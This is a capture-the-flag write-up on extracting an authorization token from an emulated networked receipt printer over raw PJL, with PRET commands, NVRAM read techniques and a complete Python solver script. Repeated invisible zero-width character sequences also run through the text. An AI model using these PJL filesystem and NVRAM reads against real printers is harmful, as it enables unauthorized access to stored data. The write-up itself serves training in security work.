← Back to Writeups
CUSTOMMediumMisc

Thermal Receipt

XESXOR9/2/20266 min read
#misc#custom#medium#pjl_enumeration#nvram_read#fsupload_recall_trigger#stateful_token_materialization#single_address_nvram_scan#linux

Thermal Receipt

Platform: CACTF2026 | Category: Misc | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-28 | Status: Solved Techniques: pjl_enumeration, nvram_read, fsupload_recall_trigger, stateful_token_materialization, single_address_nvram_scan

Summary

Task: networked thermal printer (RiverGate RG-T80II emulator) speaking raw PJL; last-closed receipt defers the auth token to an empty NVRAM slot. Solution: use PRET/raw PJL to enumerate the journal, then trigger lazy token recall with FSUPLOAD of the last-closed receipt in the same persistent connection before single-byte reading the 60-byte NVRAM auth slot.

Thermal Receipt — CACTF2026

Overview / Description

A networked thermal receipt printer (RiverGate RG-T80II emulator) was left behind after clerks stripped a ration kiosk. It speaks a raw printer protocol; PRET in PJL mode is the intended starting point. "If the printer still remembers the right transaction, it may hold the authorization token."

A TCP service (e.g. 154.57.164.74:30459) emulates a networked thermal receipt printer that speaks raw PJL (Printer Job Language). The device keeps an electronic journal of receipts in an on-device filesystem. The authorization token (flag) is associated with the last-closed transaction, but it is not stored inline — the last receipt defers to an NVRAM slot that is empty by default. The token is only materialized ("recalled") into NVRAM after the printer reads the last-closed transaction file within the same persistent PJL session. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Despite the CACTF2026 event label, this challenge reuses an HTB-format flag: HTB{...}. The constant part of the flag is HTB{th3rm4l_j0urn4l_r3c4ll_...} with an instance-specific hash suffix.

Recon

The intended tool is PRET (PRinter Exploitation Toolkit) in PJL mode:

bash
git clone https://github.com/RUB-NDS/PRET
python3 pret.py 154.57.164.74:30459 pjl

Basic PRET commands map to PJL filesystem operations:

  • id / @PJL INFO ID → device identifies as RiverGate RG-T80II.
  • ls / @PJL FSDIRLIST → filesystem tree.
  • cat <file> / @PJL FSUPLOAD → read files. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Filesystem contents discovered (volume 0:):

0:/config/device.txt
0:/journal/last.txt
0:/journal/receipt_0000.txt
0:/journal/receipt_0001.txt
0:/journal/receipt_0002.txt
0:/journal/receipt_0003.txt
0:/readme.txt
0:/spool/README.txt

Device configuration:

@PJL INFO CONFIG
  MODEL          = RG-T80II
  FIRMWARE       = 3.18
  SERIALNUMBER   = RGT80-042-9100
  PERSONALITY    = PJL,PCL,ESC/POS
  EJOURNAL       = ON

config/device.txt:
  LAST_CLOSED_SLOT = NVRAM:EJ_LAST

@PJL INFO VARIABLES
  EJINDEX = NVRAM [READONLY]

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reading the receipts:

  • receipt_0000.txt .. receipt_0002.txt each contain an inline auth code: RG-5812-OK, RG-4421-OK, RG-9014-OK (decoys / red herrings).
  • receipt_0003.txt (the last-closed transaction, pointed to by 0:/journal/last.txt and the NVRAM index EJ_LAST) defers to NVRAM:
AUTH CODE: STORED IN NVRAM
NVRAM REF: EJ_AUTH_0421 ADDR=53264 LEN=60

So the real token lives in a 60-byte NVRAM slot at ADDR=53264.

Analysis — the empty-slot trap and emulator quirks

A naive read of the referenced slot returns nothing: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

@PJL RNVRAM ADDRESS=53264
  → DATA=0        (empty, all zeros)

A full reliable single-address NVRAM scan (ADDRESS=0 .. 59999, one address per command) reveals:

  • Config strings at address 512.
  • EJ_LAST = 0:/journal/receipt_0003.txt at address 32768.
  • The EJ_AUTH_0421 label (12 bytes) at address 53248.
  • The value slot at 53264 is genuinely all zeros.

Emulator quirks and dead ends worth documenting so they aren't re-tried:

  • Batched RNVRAM reads are unreliable. The emulator drops or mishandles large batched RNVRAM commands and returns false zeros. Only single-address reads are dependable — this is the single most important pitfall, because a batched scan makes it look like the slot is permanently empty.
  • Only PJL responds. PCL and PostScript/ESC-POS personalities are silent; all interaction must be PJL.
  • NVRAM is effectively read-only. WNVRAM is a no-op — you cannot write the token yourself.
  • No PJL password / unlock mechanism exists. No path traversal, no extra filesystem volumes or slack space to carve. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The value slot being empty by default, combined with the narrative hint "If the printer still remembers the right transaction, it may hold the authorization token," and the flag name th3rm4l_j0urn4l_r3c4ll (thermal journal recall), points to a stateful, lazily-populated token.

Exploitation — the recall trigger

The token is materialized only after the printer recalls the last-closed transaction within the same persistent PJL connection. The recall trigger is an FSUPLOAD of the last-closed receipt file: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

@PJL FSUPLOAD NAME="0:/journal/receipt_0003.txt" OFFSET=0 SIZE=300

After this upload (in the same TCP/PJL session), the previously-empty NVRAM auth slot becomes populated. Single-byte reads across ADDRESS=53264 .. 53323 (60 bytes) then return the flag:

@PJL RNVRAM ADDRESS=53264   → DATA=<byte 0>
@PJL RNVRAM ADDRESS=53265   → DATA=<byte 1>
...
@PJL RNVRAM ADDRESS=53323   → DATA=<byte 59>

Concatenating the 60 bytes (stripping trailing zero padding) yields the flag. The session must stay open between the FSUPLOAD recall and the reads; opening a fresh connection resets the slot back to empty. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solver script

python
#!/usr/bin/env python3
"""
Thermal Receipt (CACTF2026) — raw PJL solver.

Insight: the last-closed receipt (receipt_0003.txt) defers its auth token to an
empty NVRAM slot at ADDR=53264 LEN=60. The token is only "recalled" into NVRAM
after the last-closed receipt is FSUPLOAD-ed within the SAME persistent PJL
connection. Then single-byte RNVRAM reads reconstruct the 60-byte flag.
Batched RNVRAM reads return false zeros — use single-address reads only.
"""
import socket
import sys
import re
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

UEL = b"\x1b%-12345X"


class PJL:
    def __init__(self, host, port, timeout=10):
        self.sock = socket.create_connection((host, port), timeout=timeout)
        # Mimic PRET's on_connect handshake.
        self.sock.sendall(UEL + b"@PJL USTATUSOFF\r\n" + UEL)

    def _recv_until(self, marker, limit=1 << 20):
        buf = b""
        while marker not in buf and len(buf) < limit:
            chunk = self.sock.recv(4096)
            if not chunk:
                break
            buf += chunk
        return buf
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    def cmd(self, command):
        # Frame with an ECHO token so we know where the reply ends.
        token = "PJLDONE_TOKEN"
        payload = (
            UEL
            + command.encode()
            + b"\r\n"
            + f"@PJL ECHO {token}\r\n\r\n".encode()
            + UEL
        )
        self.sock.sendall(payload)
        data = self._recv_until(token.encode())
        # Strip the UEL framing and the trailing echo line.
        text = data.replace(UEL, b"")
        text = re.split(rb"@PJL ECHO " + token.encode(), text)[0]
        return text.strip(b"\r\n")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    def read_byte(self, addr):
        resp = self.cmd(f"@PJL RNVRAM ADDRESS={addr}").decode(errors="replace")
        m = re.search(r"DATA\s*=\s*(\d+)", resp)
        return int(m.group(1)) & 0xFF if m else 0

    def close(self):
        try:
            self.sock.close()
        except OSError:
            pass


def solve(host, port):
    p = PJL(host, port)
    try:
        # 1) Recall the last-closed transaction to materialize the NVRAM token.
        p.cmd('@PJL FSUPLOAD NAME="0:/journal/receipt_0003.txt" OFFSET=0 SIZE=300')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

        # 2) Single-address reads across the 60-byte auth slot.
        base, length = 53264, 60
        raw = bytes(p.read_byte(base + i) for i in range(length))
        return raw.rstrip(b"\x00").decode(errors="replace")
    finally:
        p.close()


if __name__ == "__main__":
    host, port = sys.argv[1], int(sys.argv[2])
    print(solve(host, port))

Usage:

bash
python3 solve.py 154.57.164.74 30459

Confirmed against two instances; the trailing hash differs per instance while the constant part remains HTB{th3rm4l_j0urn4l_r3c4ll_...}. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Takeaways

  • Printer challenges → PRET in PJL mode. Enumerate BOTH the filesystem (FSDIRLIST, FSUPLOAD) AND NVRAM (RNVRAM, INFO CONFIG/VARIABLES/FILESYS).
  • NVRAM auth slots may be lazily populated. An emulated device can require an in-session action ("recall the transaction") before a value appears. Don't conclude a referenced slot is permanently empty from a single read.
  • Read the narrative. "Still remembers the right transaction" = read/upload the last-closed receipt to trigger recall; the flag name th3rm4l_j0urn4l_r3c4ll literally spells out "journal recall."
  • Beware emulator quirks. Batched RNVRAM commands returned false zeros here — use single-address reads. Only the PJL personality responds; WNVRAM is a no-op.
  • Keep the session persistent. The recall trigger and the reads must share one TCP/PJL connection; reconnecting resets the slot. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍